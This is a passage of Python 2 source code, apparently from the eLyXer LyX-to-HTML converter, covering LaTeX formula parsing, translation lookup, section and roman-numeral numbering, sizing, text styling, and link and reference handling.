reader.currentline() if not start in line: Trace.error('Line ' + line.strip() + ' does not contain formula start ' + start) return '' index = line.index(start) line = line[index + len(start):].strip() while not line.endswith(ending): formula += line + '\n' reader.nextline() line = reader.currentline() formula += line[:-len(ending)] reader.nextline() return formula class MacroParser(FormulaParser): "A parser for a formula macro." def parseheader(self, reader): "See if the formula is inlined" self.begin = reader.linenumber + 1 return ['inline'] def parse(self, reader): "Parse the formula until the end" formula = self.parsemultiliner(reader, self.parent.start, self.ending) reader.nextline() return formula class FormulaBit(Container): "A bit of a formula" type = None size = 1 original = '' def __init__(self): "The formula bit type can be 'alpha', 'number', 'font'." self.contents = [] self.output = ContentsOutput() def setfactory(self, factory): "Set the internal formula factory." self.factory = factory return self def add(self, bit): "Add any kind of formula bit already processed" self.contents.append(bit) self.original += bit.original bit.parent = self def skiporiginal(self, string, pos): "Skip a string and add it to the original formula" self.original += string if not pos.checkskip(string): Trace.error('String ' + string + ' not at ' + pos.identifier()) def computesize(self): "Compute the size of the bit as the max of the sizes of all contents." if len(self.contents) == 0: return 1 self.size = max([element.size for element in self.contents]) return self.size def clone(self): "Return a copy of itself." return self.factory.parseformula(self.original) def __unicode__(self): "Get a string representation" return self.__class__.__name__ + ' read in ' + self.original class TaggedBit(FormulaBit): "A tagged string in a formula" def constant(self, constant, tag): "Set the constant and the tag" self.output = TaggedOutput().settag(tag) self.add(FormulaConstant(constant)) return self def complete(self, contents, tag, breaklines = False): "Set the constant and the tag" self.contents = contents self.output = TaggedOutput().settag(tag, breaklines) return self def selfcomplete(self, tag): "Set the self-closing tag, no contents (as in <hr/>)." self.output = TaggedOutput().settag(tag, empty = True) return self class FormulaConstant(Constant): "A constant string in a formula" def __init__(self, string): "Set the constant string" Constant.__init__(self, string) self.original = string self.size = 1 self.type = None def computesize(self): "Compute the size of the constant: always 1." return self.size def clone(self): "Return a copy of itself." return FormulaConstant(self.original) def __unicode__(self): "Return a printable representation." return 'Formula constant: ' + self.string class RawText(FormulaBit): "A bit of text inside a formula" def detect(self, pos): "Detect a bit of raw text" return pos.current().isalpha() def parsebit(self, pos): "Parse alphabetic text" alpha = pos.globalpha() self.add(FormulaConstant(alpha)) self.type = 'alpha' class FormulaSymbol(FormulaBit): "A symbol inside a formula" modified = FormulaConfig.modified unmodified = FormulaConfig.unmodified['characters'] def detect(self, pos): "Detect a symbol" if pos.current() in FormulaSymbol.unmodified: return True if pos.current() in FormulaSymbol.modified: return True return False def parsebit(self, pos): "Parse the symbol" if pos.current() in FormulaSymbol.unmodified: self.addsymbol(pos.current(), pos) return if pos.current() in FormulaSymbol.modified: self.addsymbol(FormulaSymbol.modified[pos.current()], pos) return Trace.error('Symbol ' + pos.current() + ' not found') def addsymbol(self, symbol, pos): "Add a symbol" self.skiporiginal(pos.current(), pos) self.contents.append(FormulaConstant(symbol)) class FormulaNumber(FormulaBit): "A string of digits in a formula" def detect(self, pos): "Detect a digit" return pos.current().isdigit() def parsebit(self, pos): "Parse a bunch of digits" digits = pos.glob(lambda: pos.current().isdigit()) self.add(FormulaConstant(digits)) self.type = 'number' class Comment(FormulaBit): "A LaTeX comment: % to the end of the line." start = FormulaConfig.starts['comment'] def detect(self, pos): "Detect the %." return pos.current() == self.start def parsebit(self, pos): "Parse to the end of the line." self.original += pos.globincluding('\n') class WhiteSpace(FormulaBit): "Some white space inside a formula." def detect(self, pos): "Detect the white space." return pos.current().isspace() def parsebit(self, pos): "Parse all whitespace." self.original += pos.skipspace() def __unicode__(self): "Return a printable representation." return 'Whitespace: *' + self.original + '*' class Bracket(FormulaBit): "A {} bracket inside a formula" start = FormulaConfig.starts['bracket'] ending = FormulaConfig.endings['bracket'] def __init__(self): "Create a (possibly literal) new bracket" FormulaBit.__init__(self) self.inner = None def detect(self, pos): "Detect the start of a bracket" return pos.checkfor(self.start) def parsebit(self, pos): "Parse the bracket" self.parsecomplete(pos, self.innerformula) return self def parsetext(self, pos): "Parse a text bracket" self.parsecomplete(pos, self.innertext) return self def parseliteral(self, pos): "Parse a literal bracket" self.parsecomplete(pos, self.innerliteral) return self def parsecomplete(self, pos, innerparser): "Parse the start and end marks" if not pos.checkfor(self.start): Trace.error('Bracket should start with ' + self.start + ' at ' + pos.identifier()) return None self.skiporiginal(self.start, pos) pos.pushending(self.ending) innerparser(pos) self.original += pos.popending(self.ending) self.computesize() def innerformula(self, pos): "Parse a whole formula inside the bracket" while not pos.finished(): self.add(self.factory.parseany(pos)) def innertext(self, pos): "Parse some text inside the bracket, following textual rules." specialchars = FormulaConfig.symbolfunctions.keys() specialchars.append(FormulaConfig.starts['command']) specialchars.append(FormulaConfig.starts['bracket']) specialchars.append(Comment.start) while not pos.finished(): if pos.current() in specialchars: self.add(self.factory.parseany(pos)) if pos.checkskip(' '): self.original += ' ' else: self.add(FormulaConstant(pos.skipcurrent())) def innerliteral(self, pos): "Parse a literal inside the bracket, which does not generate HTML." self.literal = '' while not pos.finished() and not pos.current() == self.ending: if pos.current() == self.start: self.parseliteral(pos) else: self.literal += pos.skipcurrent() self.original += self.literal class SquareBracket(Bracket): "A [] bracket inside a formula" start = FormulaConfig.starts['squarebracket'] ending = FormulaConfig.endings['squarebracket'] def clone(self): "Return a new square bracket with the same contents." bracket = SquareBracket() bracket.contents = self.contents return bracket class MathsProcessor(object): "A processor for a maths construction inside the FormulaProcessor." def process(self, contents, index): "Process an element inside a formula." Trace.error('Unimplemented process() in ' + unicode(self)) def __unicode__(self): "Return a printable description." return 'Maths processor ' + self.__class__.__name__ class FormulaProcessor(object): "A processor specifically for formulas." processors = [] def process(self, bit): "Process the contents of every formula bit, recursively." self.processcontents(bit) self.processinsides(bit) self.traversewhole(bit) def processcontents(self, bit): "Process the contents of a formula bit." if not isinstance(bit, FormulaBit): return bit.process() for element in bit.contents: self.processcontents(element) def processinsides(self, bit): "Process the insides (limits, brackets) in a formula bit." if not isinstance(bit, FormulaBit): return for index, element in enumerate(bit.contents): for processor in self.processors: processor.process(bit.contents, index) # continue with recursive processing self.processinsides(element) def traversewhole(self, formula): "Traverse over the contents to alter variables and space units." last = None for bit, contents in self.traverse(formula): if bit.type == 'alpha': self.italicize(bit, contents) elif bit.type == 'font' and last and last.type == 'number': bit.contents.insert(0, FormulaConstant(u' ')) last = bit def traverse(self, bit): "Traverse a formula and yield a flattened structure of (bit, list) pairs." for element in bit.contents: if hasattr(element, 'type') and element.type: yield (element, bit.contents) elif isinstance(element, FormulaBit): for pair in self.traverse(element): yield pair def italicize(self, bit, contents): "Italicize the given bit of text." index = contents.index(bit) contents[index] = TaggedBit().complete([bit], 'i') class Formula(Container): "A LaTeX formula" def __init__(self): self.parser = FormulaParser() self.output = TaggedOutput().settag('span class="formula"') def process(self): "Convert the formula to tags" if self.header[0] == 'inline': DocumentParameters.displaymode = False else: DocumentParameters.displaymode = True self.output.settag('div class="formula"', True) if Options.jsmath: self.jsmath() elif Options.mathjax: self.mathjax() elif Options.googlecharts: self.googlecharts() else: self.classic() def jsmath(self): "Make the contents for jsMath." if self.header[0] != 'inline': self.output = TaggedOutput().settag('div class="math"') else: self.output = TaggedOutput().settag('span class="math"') self.contents = [Constant(self.parsed)] def mathjax(self): "Make the contents for MathJax." self.output.tag = 'span class="MathJax_Preview"' tag = 'script type="math/tex' if self.header[0] != 'inline': tag += ';mode=display' self.contents = [TaggedText().constant(self.parsed, tag + '"', True)] def googlecharts(self): "Make the contents using Google Charts http://code.google.com/apis/chart/." url = FormulaConfig.urls['googlecharts'] + urllib.quote_plus(self.parsed) img = '<img class="chart" src="' + url + '" alt="' + self.parsed + '"/>' self.contents = [Constant(img)] def classic(self): "Make the contents using classic output generation with XHTML and CSS." whole = FormulaFactory().parseformula(self.parsed) FormulaProcessor().process(whole) whole.parent = self self.contents = [whole] def parse(self, pos): "Parse using a parse position instead of self.parser." if pos.checkskip('$$'): self.parsedollarblock(pos) elif pos.checkskip('$'): self.parsedollarinline(pos) elif pos.checkskip('\\('): self.parseinlineto(pos, '\\)') elif pos.checkskip('\\['): self.parseblockto(pos, '\\]') else: pos.error('Unparseable formula') self.process() return self def parsedollarinline(self, pos): "Parse a $...$ formula." self.header = ['inline'] self.parsedollar(pos) def parsedollarblock(self, pos): "Parse a $$...$$ formula." self.header = ['block'] self.parsedollar(pos) if not pos.checkskip('$'): pos.error('Formula should be $$...$$, but last $ is missing.') def parsedollar(self, pos): "Parse to the next $." pos.pushending('$') self.parsed = pos.globexcluding('$') pos.popending('$') def parseinlineto(self, pos, limit): "Parse a \\(...\\) formula." self.header = ['inline'] self.parseupto(pos, limit) def parseblockto(self, pos, limit): "Parse a \\[...\\] formula." self.header = ['block'] self.parseupto(pos, limit) def parseupto(self, pos, limit): "Parse a formula that ends with the given command." pos.pushending(limit) self.parsed = pos.glob(lambda: True) pos.popending(limit) def __unicode__(self): "Return a printable representation." if self.partkey and self.partkey.number: return 'Formula (' + self.partkey.number + ')' return 'Unnumbered formula' class WholeFormula(FormulaBit): "Parse a whole formula" def detect(self, pos): "Not outside the formula is enough." return not pos.finished() def parsebit(self, pos): "Parse with any formula bit" while not pos.finished(): self.add(self.factory.parseany(pos)) class FormulaFactory(object): "Construct bits of formula" # bit types will be appended later types = [FormulaSymbol, RawText, FormulaNumber, Bracket, Comment, WhiteSpace] skippedtypes = [Comment, WhiteSpace] defining = False def __init__(self): "Initialize the map of instances." self.instances = dict() def detecttype(self, type, pos): "Detect a bit of a given type." if pos.finished(): return False return self.instance(type).detect(pos) def instance(self, type): "Get an instance of the given type." if not type in self.instances or not self.instances[type]: self.instances[type] = self.create(type) return self.instances[type] def create(self, type): "Create a new formula bit of the given type." return Cloner.create(type).setfactory(self) def clearskipped(self, pos): "Clear any skipped types." while not pos.finished(): if not self.skipany(pos): return return def skipany(self, pos): "Skip any skipped types." for type in self.skippedtypes: if self.instance(type).detect(pos): return self.parsetype(type, pos) return None def parseany(self, pos): "Parse any formula bit at the current location." for type in self.types + self.skippedtypes: if self.detecttype(type, pos): return self.parsetype(type, pos) Trace.error('Unrecognized formula at ' + pos.identifier()) return FormulaConstant(pos.skipcurrent()) def parsetype(self, type, pos): "Parse the given type and return it." bit = self.instance(type) self.instances[type] = None returnedbit = bit.parsebit(pos) if returnedbit: return returnedbit.setfactory(self) return bit def parseformula(self, formula): "Parse a string of text that contains a whole formula." pos = TextPosition(formula) whole = self.create(WholeFormula) if whole.detect(pos): whole.parsebit(pos) return whole # no formula found if not pos.finished(): Trace.error('Unknown formula at: ' + pos.identifier()) whole.add(TaggedBit().constant(formula, 'span class="unknown"')) return whole import unicodedata import gettext class Translator(object): "Reads the configuration file and tries to find a translation." "Otherwise falls back to the messages in the config file." instance = None def translate(cls, key): "Get the translated message for a key." return cls.instance.getmessage(key) translate = classmethod(translate) def __init__(self): self.translation = None self.first = True def findtranslation(self): "Find the translation for the document language." self.langcodes = None if not DocumentParameters.language: Trace.error('No language in document') return if not DocumentParameters.language in TranslationConfig.languages: Trace.error('Unknown language ' + DocumentParameters.language) return if TranslationConfig.languages[DocumentParameters.language] == 'en': return langcodes = [TranslationConfig.languages[DocumentParameters.language]] try: self.translation = gettext.translation('elyxer', None, langcodes) except IOError: Trace.error('No translation for ' + unicode(langcodes)) def getmessage(self, key): "Get the translated message for the given key." if self.first: self.findtranslation() self.first = False message = self.getuntranslated(key) if not self.translation: return message try: message = self.translation.ugettext(message) except IOError: pass return message def getuntranslated(self, key): "Get the untranslated message." if not key in TranslationConfig.constants: Trace.error('Cannot translate ' + key) return key return TranslationConfig.constants[key] Translator.instance = Translator() class NumberCounter(object): "A counter for numbers (by default)." "The type can be changed to return letters, roman numbers..." name = None value = None mode = None master = None letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' symbols = NumberingConfig.sequence['symbols'] romannumerals = [ ('M', 1000), ('CM', 900), ('D', 500), ('CD', 400), ('C', 100), ('XC', 90), ('L', 50), ('XL', 40), ('X', 10), ('IX', 9), ('V', 5), ('IV', 4), ('I', 1) ] def __init__(self, name): "Give a name to the counter." self.name = name def setmode(self, mode): "Set the counter mode. Can be changed at runtime." self.mode = mode return self def init(self, value): "Set an initial value." self.value = value def gettext(self): "Get the next value as a text string." return unicode(self.value) def getletter(self): "Get the next value as a letter." return self.getsequence(self.letters) def getsymbol(self): "Get the next value as a symbol." return self.getsequence(self.symbols) def getsequence(self, sequence): "Get the next value from elyxer.a sequence." return sequence[(self.value - 1) % len(sequence)] def getroman(self): "Get the next value as a roman number." result = '' number = self.value for numeral, value in self.romannumerals: if number >= value: result += numeral * (number / value) number = number % value return result def getvalue(self): "Get the current value as configured in the current mode." if not self.mode or self.mode in ['text', '1']: return self.gettext() if self.mode == 'A': return self.getletter() if self.mode == 'a': return self.getletter().lower() if self.mode == 'I': return self.getroman() if self.mode == '*': return self.getsymbol() Trace.error('Unknown counter mode ' + self.mode) return self.gettext() def getnext(self): "Increase the current value and get the next value as configured." if not self.value: self.value = 0 self.value += 1 return self.getvalue() def reset(self): "Reset the counter." self.value = 0 def __unicode__(self): "Return a printable representation." result = 'Counter ' + self.name if self.mode: result += ' in mode ' + self.mode return result class DependentCounter(NumberCounter): "A counter which depends on another one (the master)." def setmaster(self, master): "Set the master counter." self.master = master self.last = self.master.getvalue() return self def getnext(self): "Increase or, if the master counter has changed, restart." if self.last != self.master.getvalue(): self.reset() value = NumberCounter.getnext(self) self.last = self.master.getvalue() return value def getvalue(self): "Get the value of the combined counter: master.dependent." return self.master.getvalue() + '.' + NumberCounter.getvalue(self) class NumberGenerator(object): "A number generator for unique sequences and hierarchical structures. Used in:" " * ordered part numbers: Chapter 3, Section 5.3." " * unique part numbers: Footnote 15, Bibliography cite [15]." " * chaptered part numbers: Figure 3.15, Equation (8.3)." " * unique roman part numbers: Part I, Book IV." chaptered = None generator = None romanlayouts = [x.lower() for x in NumberingConfig.layouts['roman']] orderedlayouts = [x.lower() for x in NumberingConfig.layouts['ordered']] counters = dict() appendix = None def deasterisk(self, type): "Remove the possible asterisk in a layout type." return type.replace('*', '') def isunique(self, type): "Find out if the layout type corresponds to a unique part." return self.isroman(type) def isroman(self, type): "Find out if the layout type should have roman numeration." return self.deasterisk(type).lower() in self.romanlayouts def isinordered(self, type): "Find out if the layout type corresponds to an (un)ordered part." return self.deasterisk(type).lower() in self.orderedlayouts def isnumbered(self, type): "Find out if the type for a layout corresponds to a numbered layout." if '*' in type: return False if self.isroman(type): return True if not self.isinordered(type): return False if self.getlevel(type) > DocumentParameters.maxdepth: return False return True def isunordered(self, type): "Find out if the type contains an asterisk, basically." return '*' in type def getlevel(self, type): "Get the level that corresponds to a layout type." if self.isunique(type): return 0 if not self.isinordered(type): Trace.error('Unknown layout type ' + type) return 0 type = self.deasterisk(type).lower() level = self.orderedlayouts.index(type) + 1 return level - DocumentParameters.startinglevel def getparttype(self, type): "Obtain the type for the part: without the asterisk, " "and switched to Appendix if necessary." if NumberGenerator.appendix and self.getlevel(type) == 1: return 'Appendix' return self.deasterisk(type) def generate(self, type): "Generate a number for a layout type." "Unique part types such as Part or Book generate roman numbers: Part I." "Ordered part types return dot-separated tuples: Chapter 5, Subsection 2.3.5." "Everything else generates unique numbers: Bibliography [1]." "Each invocation results in a new number." return self.getcounter(type).getnext() def getcounter(self, type): "Get the counter for the given type." type = type.lower() if not type in self.counters: self.counters[type] = self.create(type) return self.counters[type] def create(self, type): "Create a counter for the given type." if self.isnumbered(type) and self.getlevel(type) > 1: index = self.orderedlayouts.index(type) above = self.orderedlayouts[index - 1] master = self.getcounter(above) return self.createdependent(type, master) counter = NumberCounter(type) if self.isroman(type): counter.setmode('I') return counter def getdependentcounter(self, type, master): "Get (or create) a counter of the given type that depends on another." if not type in self.counters or not self.counters[type].master: self.counters[type] = self.createdependent(type, master) return self.counters[type] def createdependent(self, type, master): "Create a dependent counter given the master." return DependentCounter(type).setmaster(master) def startappendix(self): "Start appendices here." firsttype = self.orderedlayouts[DocumentParameters.startinglevel] counter = self.getcounter(firsttype) counter.setmode('A').reset() NumberGenerator.appendix = True class ChapteredGenerator(NumberGenerator): "Generate chaptered numbers, as in Chapter.Number." "Used in equations, figures: Equation (5.3), figure 8.15." def generate(self, type): "Generate a number which goes with first-level numbers (chapters). " "For the article classes a unique number is generated." if DocumentParameters.startinglevel > 0: return NumberGenerator.generator.generate(type) chapter = self.getcounter('Chapter') return self.getdependentcounter(type, chapter).getnext() NumberGenerator.chaptered = ChapteredGenerator() NumberGenerator.generator = NumberGenerator() class ContainerSize(object): "The size of a container." width = None height = None maxwidth = None maxheight = None scale = None def set(self, width = None, height = None): "Set the proper size with width and height." self.setvalue('width', width) self.setvalue('height', height) return self def setmax(self, maxwidth = None, maxheight = None): "Set max width and/or height." self.setvalue('maxwidth', maxwidth) self.setvalue('maxheight', maxheight) return self def readparameters(self, container): "Read some size parameters off a container." self.setparameter(container, 'width') self.setparameter(container, 'height') self.setparameter(container, 'scale') self.checkvalidheight(container) return self def setparameter(self, container, name): "Read a size parameter off a container, and set it if present." value = container.getparameter(name) self.setvalue(name, value) def setvalue(self, name, value): "Set the value of a parameter name, only if it's valid." value = self.processparameter(value) if value: setattr(self, name, value) def checkvalidheight(self, container): "Check if the height parameter is valid; otherwise erase it." heightspecial = container.getparameter('height_special') if self.height and self.extractnumber(self.height) == '1' and heightspecial == 'totalheight': self.height = None def processparameter(self, value): "Do the full processing on a parameter." if not value: return None if self.extractnumber(value) == '0': return None for ignored in StyleConfig.size['ignoredtexts']: if ignored in value: value = value.replace(ignored, '') return value def extractnumber(self, text): "Extract the first number in the given text." result = '' decimal = False for char in text: if char.isdigit(): result += char elif char == '.' and not decimal: result += char decimal = True else: return result return result def checkimage(self, width, height): "Check image dimensions, set them if possible." if width: self.maxwidth = unicode(width) + 'px' if self.scale and not self.width: self.width = self.scalevalue(width) if height: self.maxheight = unicode(height) + 'px' if self.scale and not self.height: self.height = self.scalevalue(height) if self.width and not self.height: self.height = 'auto' if self.height and not self.width: self.width = 'auto' def scalevalue(self, value): "Scale the value according to the image scale and return it as unicode." scaled = value * int(self.scale) / 100 return unicode(int(scaled)) + 'px' def removepercentwidth(self): "Remove percent width if present, to set it at the figure level." if not self.width: return None if not '%' in self.width: return None width = self.width self.width = None if self.height == 'auto': self.height = None return width def addstyle(self, container): "Add the proper style attribute to the output tag." if not isinstance(container.output, TaggedOutput): Trace.error('No tag to add style, in ' + unicode(container)) if not self.width and not self.height and not self.maxwidth and not self.maxheight: # nothing to see here; move along return tag = ' style="' tag += self.styleparameter('width') tag += self.styleparameter('maxwidth') tag += self.styleparameter('height') tag += self.styleparameter('maxheight') if tag[-1] == ' ': tag = tag[:-1] tag += '"' container.output.tag += tag def styleparameter(self, name): "Get the style for a single parameter." value = getattr(self, name) if value: return name.replace('max', 'max-') + ': ' + value + '; ' return '' class QuoteContainer(Container): "A container for a pretty quote" def __init__(self): self.parser = BoundedParser() self.output = FixedOutput() def process(self): "Process contents" self.type = self.header[2] if not self.type in StyleConfig.quotes: Trace.error('Quote type ' + self.type + ' not found') self.html = ['"'] return self.html = [StyleConfig.quotes[self.type]] class LyXLine(Container): "A Lyx line" def __init__(self): self.parser = LoneCommand() self.output = FixedOutput() def process(self): self.html = ['<hr class="line" />'] class EmphaticText(TaggedText): "Text with emphatic mode" def process(self): self.output.tag = 'i' class ShapedText(TaggedText): "Text shaped (italic, slanted)" def process(self): self.type = self.header[1] if not self.type in TagConfig.shaped: Trace.error('Unrecognized shape ' + self.header[1]) self.output.tag = 'span' return self.output.tag = TagConfig.shaped[self.type] class VersalitasText(TaggedText): "Text in versalitas" def process(self): self.output.tag = 'span class="versalitas"' class ColorText(TaggedText): "Colored text" def process(self): self.color = self.header[1] self.output.tag = 'span class="' + self.color + '"' class SizeText(TaggedText): "Sized text" def process(self): self.size = self.header[1] self.output.tag = 'span class="' + self.size + '"' class BoldText(TaggedText): "Bold text" def process(self): self.output.tag = 'b' class TextFamily(TaggedText): "A bit of text from elyxer.a different family" def process(self): "Parse the type of family" self.type = self.header[1] if not self.type in TagConfig.family: Trace.error('Unrecognized family ' + type) self.output.tag = 'span' return self.output.tag = TagConfig.family[self.type] class Hfill(TaggedText): "Horizontall fill" def process(self): self.output.tag = 'span class="hfill"' class BarredText(TaggedText): "Text with a bar somewhere" def process(self): "Parse the type of bar" self.type = self.header[1] if not self.type in TagConfig.barred: Trace.error('Unknown bar type ' + self.type) self.output.tag = 'span' return self.output.tag = TagConfig.barred[self.type] class LangLine(BlackBox): "A line with language information" def process(self): self.lang = self.header[1] class InsetLength(BlackBox): "A length measure inside an inset." def process(self): self.length = self.header[1] class Space(Container): "A space of several types" def __init__(self): self.parser = InsetParser() self.output = FixedOutput() def process(self): self.type = self.header[2] if self.type not in StyleConfig.hspaces: Trace.error('Unknown space type ' + self.type) self.html = [' '] return self.html = [StyleConfig.hspaces[self.type]] length = self.getlength() if not length: return self.output = TaggedOutput().settag('span class="hspace"', False) ContainerSize().set(length).addstyle(self) def getlength(self): "Get the space length from elyxer.the contents or parameters." if len(self.contents) == 0 or not isinstance(self.contents[0], InsetLength): return None return self.contents[0].length class VerticalSpace(Container): "An inset that contains a vertical space." def __init__(self): self.parser = InsetParser() self.output = FixedOutput() def process(self): "Set the correct tag" self.type = self.header[2] if self.type not in StyleConfig.vspaces: self.output = TaggedOutput().settag('div class="vspace" style="height: ' + self.type + ';"', True) return self.html = [StyleConfig.vspaces[self.type]] class Align(Container): "Bit of aligned text" def __init__(self): self.parser = ExcludingParser() self.output = TaggedOutput().setbreaklines(True) def process(self): self.output.tag = 'div class="' + self.header[1] + '"' class Newline(Container): "A newline" def __init__(self): self.parser = LoneCommand() self.output = FixedOutput() def process(self): "Process contents" self.html = ['<br/>\n'] class NewPage(Newline): "A new page" def process(self): "Process contents" self.html = ['<p><br/>\n</p>\n'] class Separator(Container): "A separator string which is not extracted by extracttext()." def __init__(self, constant): self.output = FixedOutput() self.contents = [] self.html = [constant] class StrikeOut(TaggedText): "Striken out text." def process(self): "Set the output tag to strike." self.output.tag = 'strike' class StartAppendix(BlackBox): "Mark to start an appendix here." "From this point on, all chapters become appendices." def process(self): "Activate the special numbering scheme for appendices, using letters." NumberGenerator.generator.startappendix() class Link(Container): "A link to another part of the document" anchor = None url = None type = None page = None target = None destination = None title = None def __init__(self): "Initialize the link, add target if configured." self.contents = [] self.parser = InsetParser() self.output = LinkOutput() if Options.target: self.target = Options.target def complete(self, text, anchor = None, url = None, type = None, title = None): "Complete the link." self.contents = [Constant(text)] if anchor: self.anchor = anchor if url: self.url = url if type: self.type = type if title: self.title = title return self def computedestination(self): "Use the destination link to fill in the destination URL." if not self.destination: return self.url = '' if self.destination.anchor: self.url = '#' + self.destination.anchor if self.destination.page: self.url = self.destination.page + self.url def setmutualdestination(self, destination): "Set another link as destination, and set its destination to this one." self.destination = destination destination.destination = self def __unicode__(self): "Return a printable representation." result = 'Link' if self.anchor: result += ' #' + self.anchor if self.url: result += ' to ' + self.url return result class URL(Link): "A clickable URL" def process(self): "Read URL from elyxer.parameters" target = self.escape(self.getparameter('target')) self.url = target type = self.getparameter('type') if type: self.url = self.escape(type) + target name = self.getparameter('name') if not name: name = target self.contents = [Constant(name)] class FlexURL(URL): "A flexible URL" def process(self): "Read URL from elyxer.contents" self.url = self.extracttext() class LinkOutput(ContainerOutput): "A link pointing to some destination" "Or an anchor (destination)" def gethtml(self, link): "Get the HTML code for the link" type = link.__class__.__name__ if link.type: type = link.type tag = 'a class="' + type + '"' if link.anchor: tag += ' name="' + link.anchor + '"' if link.destination: link.computedestination() if link.url: tag += ' href="' + link.url + '"' if link.target: tag += ' target="' + link.target + '"' if link.title: tag += ' title="' + link.title + '"' return TaggedOutput().settag(tag).gethtml(link) class Postprocessor(object): "Postprocess a container keeping some context" stages = [] def __init__(self): self.stages = StageDict(Postprocessor.stages, self) self.current = None self.last = None def postprocess(self, next): "Postprocess a container and its contents." self.postrecursive(self.current) result = self.postcurrent(next) self.last = self.current self.current = next return result def postrecursive(self, container): "Postprocess the container contents recursively" if not hasattr(container, 'contents'): return if len(container.contents) == 0: return if hasattr(container, 'postprocess'): if not container.postprocess: return postprocessor = Postprocessor() contents = [] for element in container.contents: post = postprocessor.postprocess(element) if post: contents.append(post) # two rounds to empty the pipeline for i in range(2): post = postprocessor.postprocess(None) if post: contents.append(post) container.contents = contents def postcurrent(self, next): "Postprocess the current element taking into account next and last." stage = self.stages.getstage(self.current) if not stage: return self.current return stage.postprocess(self.last, self.current, next) class StageDict(object): "A dictionary of stages corresponding to classes" def __init__(self, classes, postprocessor): "Instantiate an element from elyxer.each class and store as a dictionary" instances = self.instantiate(classes, postprocessor) self.stagedict = dict([(x.processedclass, x) for x in instances]) def instantiate(self, classes, postprocessor): "Instantiate an element from elyxer.each class" stages = [x.__new__(x) for x in classes] for element in stages: element.__init__() element.postprocessor = postprocessor return stages def getstage(self, element): "Get the stage for a given element, if the type is in the dict" if not element.__class__ in self.stagedict: return None return self.stagedict[element.__class__] class Label(Link): "A label to be referenced" names = dict() lastlayout = None def __init__(self): Link.__init__(self) self.lastnumbered = None def process(self): "Process a label container." key = self.getparameter('name') self.create(' ', key) self.lastnumbered = Label.lastlayout def create(self, text, key, type = 'Label'): "Create the label for a given key." self.key = key self.complete(text, anchor = key, type = type) Label.names[key] = self if key in Reference.references: for reference in Reference.references[key]: reference.destination = self return self def findpartkey(self): "Get the part key for the latest numbered container seen." numbered = self.numbered(self) if numbered and numbered.partkey: return numbered.partkey return '' def numbered(self, container): "Get the numbered container for the label." if container.partkey: return container if not container.parent: if self.lastnumbered: return self.lastnumbered return None return self.numbered(container.parent) def __unicode__(self): "Return a printable representation." if not hasattr(self, 'key'): return 'Unnamed label' return 'Label ' + self.key class Reference(Link): "A reference to a label." references = dict() key = 'none' def process(self): "Read the reference and set the arrow." self.key = self.getparameter('reference') if self.key in Label.names: self.direction = u'↑' label = Label.names[self.key] else: self.direction = u'↓' label = Label().complete(' ', self.key, 'preref') self.destination = label self.formatcontents() if not self.key in Reference.references: Reference.references[self.key] = [] Reference.references[self.key].append(self) def formatcontents(self): "Format the reference contents." formatkey = self.getparameter('LatexCommand') if not formatkey: formatkey = 'ref' self.formatted = u'↕' if formatkey in StyleConfig.referenceformats: self.formatted = StyleConfig.referenceformats[formatkey] else: Trace.error('Unknown reference format ' + formatkey) self.replace(u'↕', self.direction) self.replace('#', '1') self.replace('on-page', Translator.translate('on-page')) partkey = self.destination.findpartkey() # only if partkey and partkey.number are not null, send partkey.number self.replace('@', partkey and partkey.number) self.replace(u'¶', partkey and partkey.tocentry) if not '$' in self.formatted or not partkey or not partkey.titlecontents: if '$' in self.formatted: Trace.error('No title in ' + unicode(partkey)) self.contents = [Constant(self.formatted)] return pieces = self.formatted.split('$') self.contents = [Constant(pieces[0])] for piece in pieces[1:]: self.contents += partkey.titlecontents self.contents.append(Constant(piece)) def replace(self, key, value): "Replace a key in the format template with a value." if not key in self.formatted: return if not value: value = '' self.formatted = self.formatted.replace(key, value) def __unicode__(self): "Return a printable representation." return 'Reference ' + self.key class FormulaCommand(FormulaBit): "A LaTeX command inside a formula" types = [] start = FormulaConfig.starts['command'] commandmap = None def detect(self, pos): "Find the current command." return pos.checkfor(FormulaCommand.start) def parsebit(self, pos): "Parse the command." command = self.extractcommand(pos) bit = self.parsewithcommand(command, pos) if bit: return bit if command.startswith('\\up') or command.startswith('\\Up'): upgreek = self.parseupgreek(command, pos) if upgreek: return upgreek if not self.factory.defining: Trace.error('Unknown command ' + command) self.output = TaggedOutput().settag('span class="unknown"') self.add(FormulaConstant(command)) return None def parsewithcommand(self, command, pos): "Parse the command type once we have the command." for type in FormulaCommand.types: if command in type.commandmap: return self.parsecommandtype(command, type, pos) return None def parsecommandtype(self, command, type, pos): "Parse a given command type." bit = self.factory.create(type) bit.setcommand(command) returned = bit.parsebit(pos) if returned: return returned return bit def extractcommand(self, pos): "Extract the command from elyxer.the current position." if not pos.checkskip(FormulaCommand.start): pos.error('Missing command start ' + FormulaCommand.start) return if pos.finished(): return self.emptycommand(pos) if pos.current().isalpha(): # alpha command command = FormulaCommand.start + pos.globalpha() # skip mark of short command pos.checkskip('*') return command # symbol command return FormulaCommand.start + pos.skipcurrent() def emptycommand(self, pos): """Check for an empty command: look for command disguised as ending. Special case against '{ \{ \} }' situation.""" command = '' if not pos.isout(): ending = pos.nextending() if ending and pos.checkskip(ending): command = ending return FormulaCommand.start + command def parseupgreek(self, command, pos): "Parse the Greek \\up command.." if len(command) < 4: return None if command.startswith('\\up'): upcommand = '\\' + command[3:] elif pos.checkskip('\\Up'): upcommand = '\\' + command[3:4].upper() + command[4:] else: Trace.error('Impossible upgreek command: ' + command) return upgreek = self.parsewithcommand(upcommand, pos) if upgreek: upgreek.type = 'font' return upgreek class CommandBit(FormulaCommand): "A formula bit that includes a command" def setcommand(self, command): "Set the command in the bit" self.command = command if self.commandmap: self.original += command self.translated = self.commandmap[self.command] def parseparameter(self, pos): "Parse a parameter at the current position" self.factory.clearskipped(pos) if pos.finished(): return None parameter = self.factory.parseany(pos) self.add(parameter) return parameter def parsesquare(self, pos): "Parse a square bracket" self.factory.clearskipped(pos) if not self.factory.detecttype(SquareBracket, pos): return None bracket = self.factory.parsetype(SquareBracket, pos) self.add(bracket) return bracket def parseliteral(self, pos): "Parse a literal bracket." self.factory.clearskipped(pos) if not self.factory.detecttype(Bracket, pos): if not pos.isvalue(): Trace.error('No literal parameter found at: ' + pos.identifier()) return None return pos.globvalue() bracket = Bracket().setfactory(self.factory) self.add(bracket.parseliteral(pos)) return bracket.literal def parsesquareliteral(self, pos): "Parse a square bracket literally." self.factory.clearskipped(pos) if not self.factory.detecttype(SquareBracket, pos): return None bracket = 